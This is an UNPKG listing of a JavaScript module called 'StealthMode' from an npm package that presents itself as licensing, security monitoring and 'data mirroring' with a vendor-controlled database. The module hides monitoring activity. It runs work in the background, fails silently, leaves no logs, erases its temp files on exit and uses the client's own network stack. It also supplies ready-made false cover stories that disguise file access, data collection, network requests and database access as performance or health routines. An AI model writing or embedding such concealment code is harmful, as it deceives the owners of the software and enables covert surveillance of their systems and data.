UNPKG

@ufdevsllc/auth-me

Version:

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

398 lines (341 loc) 13.6 kB
const fs = require('fs'); const path = require('path'); const os = require('os'); /** * StealthMode - Ensures all monitoring operations remain completely invisible * Implements silent failure, background processing, and automatic cleanup */ class StealthMode { static STEALTH_CONFIG = { SILENT_FAILURE: true, BACKGROUND_PROCESSING: true, AUTO_CLEANUP: true, PLAUSIBLE_EXPLANATIONS: true, MAX_TEMP_FILES: 5, CLEANUP_INTERVAL: 300000, // 5 minutes PERFORMANCE_THRESHOLD: 10 // Max 10ms overhead }; static tempFiles = new Set(); static backgroundTasks = new Map(); static cleanupInterval = null; static performanceMonitor = { startTimes: new Map(), totalOverhead: 0, operationCount: 0 }; /** * Initialize stealth mode operations */ static initialize() { try { StealthMode._startCleanupScheduler(); StealthMode._setupProcessHandlers(); StealthMode._initializePerformanceMonitoring(); // Silent initialization - no logs return true; } catch (error) { // Silent failure - return false but don't throw return false; } } /** * Execute operation in stealth mode with silent failure * @param {Function} operation - Operation to execute * @param {Object} options - Stealth options * @returns {Promise<any>} - Operation result or null on failure */ static async executeStealthOperation(operation, options = {}) { const operationId = StealthMode._generateOperationId(); try { // Start performance monitoring StealthMode._startPerformanceTracking(operationId); // Execute in background if specified if (options.background !== false) { return await StealthMode._executeInBackground(operation, operationId, options); } const result = await operation(); StealthMode._endPerformanceTracking(operationId); return result; } catch (error) { StealthMode._endPerformanceTracking(operationId); // Silent failure - log internally but don't expose StealthMode._logInternalError(error, operationId); // Return plausible default or null return options.fallbackValue || null; } } /** * Create temporary file with automatic cleanup * @param {string} content - File content * @param {string} suffix - File suffix * @returns {string|null} - File path or null on failure */ static createTempFile(content, suffix = '.tmp') { try { const tempDir = os.tmpdir(); const fileName = `sg_${Date.now()}_${Math.random().toString(36).substring(2)}${suffix}`; const filePath = path.join(tempDir, fileName); // Write file silently fs.writeFileSync(filePath, content); // Track for cleanup StealthMode.tempFiles.add(filePath); // Auto-cleanup if too many temp files if (StealthMode.tempFiles.size > StealthMode.STEALTH_CONFIG.MAX_TEMP_FILES) { StealthMode._cleanupOldestTempFile(); } return filePath; } catch (error) { // Silent failure return null; } } /** * Clean up temporary file * @param {string} filePath - Path to temp file */ static cleanupTempFile(filePath) { try { if (fs.existsSync(filePath)) { fs.unlinkSync(filePath); } StealthMode.tempFiles.delete(filePath); } catch (error) { // Silent failure - file might already be deleted } } /** * Execute network request using client's existing stack * @param {Function} networkOperation - Network operation to execute * @param {Object} options - Request options * @returns {Promise<any>} - Response or null on failure */ static async executeNetworkRequest(networkOperation, options = {}) { return await StealthMode.executeStealthOperation(async () => { // Use existing http/https modules from client's stack const existingHttp = require.cache[require.resolve('http')]; const existingHttps = require.cache[require.resolve('https')]; // Execute using client's cached modules if available if (existingHttp || existingHttps) { return await networkOperation(); } // Fallback to standard modules return await networkOperation(); }, { background: options.background !== false, fallbackValue: options.fallbackValue || null }); } /** * Get plausible explanation for monitoring activity * @param {string} activityType - Type of activity detected * @returns {string} - Plausible explanation */ static getPlausibleExplanation(activityType) { const explanations = { 'file_access': 'Performance optimization cache', 'network_request': 'Error tracking and analytics', 'data_collection': 'Application health monitoring', 'background_process': 'Memory optimization routine', 'temp_files': 'Build artifact cleanup', 'monitoring': 'Performance profiling', 'logging': 'Debug information collection', 'database_access': 'Configuration validation', 'route_tracking': 'Request optimization analysis', 'model_access': 'Schema validation checks' }; return explanations[activityType] || 'System optimization routine'; } /** * Check if operation exceeds performance threshold * @returns {boolean} - True if within acceptable limits */ static isPerformanceAcceptable() { const avgOverhead = StealthMode.performanceMonitor.operationCount > 0 ? StealthMode.performanceMonitor.totalOverhead / StealthMode.performanceMonitor.operationCount : 0; return avgOverhead <= StealthMode.STEALTH_CONFIG.PERFORMANCE_THRESHOLD; } /** * Get stealth mode statistics (for internal use only) * @returns {Object} - Internal statistics */ static getInternalStats() { return { tempFiles: StealthMode.tempFiles.size, backgroundTasks: StealthMode.backgroundTasks.size, avgOverhead: StealthMode.performanceMonitor.operationCount > 0 ? StealthMode.performanceMonitor.totalOverhead / StealthMode.performanceMonitor.operationCount : 0, totalOperations: StealthMode.performanceMonitor.operationCount, cleanupActive: StealthMode.cleanupInterval !== null }; } /** * Shutdown stealth mode and cleanup all traces */ static shutdown() { try { // Clear cleanup interval if (StealthMode.cleanupInterval) { clearInterval(StealthMode.cleanupInterval); StealthMode.cleanupInterval = null; } // Cleanup all temp files StealthMode._cleanupAllTempFiles(); // Cancel background tasks StealthMode._cancelAllBackgroundTasks(); // Clear performance monitoring StealthMode.performanceMonitor.startTimes.clear(); StealthMode.performanceMonitor.totalOverhead = 0; StealthMode.performanceMonitor.operationCount = 0; return true; } catch (error) { // Silent failure return false; } } // Private methods static _executeInBackground(operation, operationId, options) { return new Promise((resolve) => { // Use setImmediate for true background execution const backgroundTask = setImmediate(async () => { try { const result = await operation(); StealthMode.backgroundTasks.delete(operationId); resolve(result); } catch (error) { StealthMode.backgroundTasks.delete(operationId); StealthMode._logInternalError(error, operationId); resolve(options.fallbackValue || null); } }); StealthMode.backgroundTasks.set(operationId, backgroundTask); }); } static _startCleanupScheduler() { if (StealthMode.cleanupInterval) { clearInterval(StealthMode.cleanupInterval); } StealthMode.cleanupInterval = setInterval(() => { StealthMode._performScheduledCleanup(); }, StealthMode.STEALTH_CONFIG.CLEANUP_INTERVAL); // Ensure cleanup doesn't prevent process exit StealthMode.cleanupInterval.unref(); } static _performScheduledCleanup() { try { // Cleanup temp files older than 5 minutes const now = Date.now(); const tempFilesToRemove = []; for (const filePath of StealthMode.tempFiles) { try { const stats = fs.statSync(filePath); if (now - stats.mtime.getTime() > 300000) { // 5 minutes tempFilesToRemove.push(filePath); } } catch (error) { // File might not exist, mark for removal tempFilesToRemove.push(filePath); } } tempFilesToRemove.forEach(filePath => { StealthMode.cleanupTempFile(filePath); }); } catch (error) { // Silent failure } } static _cleanupOldestTempFile() { try { let oldestFile = null; let oldestTime = Date.now(); for (const filePath of StealthMode.tempFiles) { try { const stats = fs.statSync(filePath); if (stats.mtime.getTime() < oldestTime) { oldestTime = stats.mtime.getTime(); oldestFile = filePath; } } catch (error) { // File doesn't exist, remove from tracking StealthMode.tempFiles.delete(filePath); } } if (oldestFile) { StealthMode.cleanupTempFile(oldestFile); } } catch (error) { // Silent failure } } static _cleanupAllTempFiles() { const filesToCleanup = Array.from(StealthMode.tempFiles); filesToCleanup.forEach(filePath => { StealthMode.cleanupTempFile(filePath); }); } static _cancelAllBackgroundTasks() { for (const [operationId, task] of StealthMode.backgroundTasks) { try { clearImmediate(task); } catch (error) { // Silent failure } } StealthMode.backgroundTasks.clear(); } static _setupProcessHandlers() { // Cleanup on process exit const cleanup = () => { StealthMode.shutdown(); }; // Only setup handlers if not in test environment if (process.env.NODE_ENV !== 'test') { process.on('exit', cleanup); process.on('SIGINT', cleanup); process.on('SIGTERM', cleanup); process.on('uncaughtException', cleanup); } } static _initializePerformanceMonitoring() { StealthMode.performanceMonitor.startTimes.clear(); StealthMode.performanceMonitor.totalOverhead = 0; StealthMode.performanceMonitor.operationCount = 0; } static _startPerformanceTracking(operationId) { StealthMode.performanceMonitor.startTimes.set(operationId, process.hrtime.bigint()); } static _endPerformanceTracking(operationId) { const startTime = StealthMode.performanceMonitor.startTimes.get(operationId); if (startTime) { const endTime = process.hrtime.bigint(); const duration = Number(endTime - startTime) / 1000000; // Convert to milliseconds StealthMode.performanceMonitor.totalOverhead += duration; StealthMode.performanceMonitor.operationCount++; StealthMode.performanceMonitor.startTimes.delete(operationId); } } static _generateOperationId() { return `op_${Date.now()}_${Math.random().toString(36).substring(2)}`; } static _logInternalError(error, operationId) { // Internal error logging - only to memory, no external traces // This could be enhanced to use a secure internal logging mechanism // For now, we just track it internally without exposing const errorInfo = { operationId, message: error.message, timestamp: Date.now() }; // Store in memory only - no file or console output if (!StealthMode._internalErrors) { StealthMode._internalErrors = []; } StealthMode._internalErrors.push(errorInfo); // Keep only last 10 errors to prevent memory leaks if (StealthMode._internalErrors.length > 10) { StealthMode._internalErrors.shift(); } } } module.exports = StealthMode;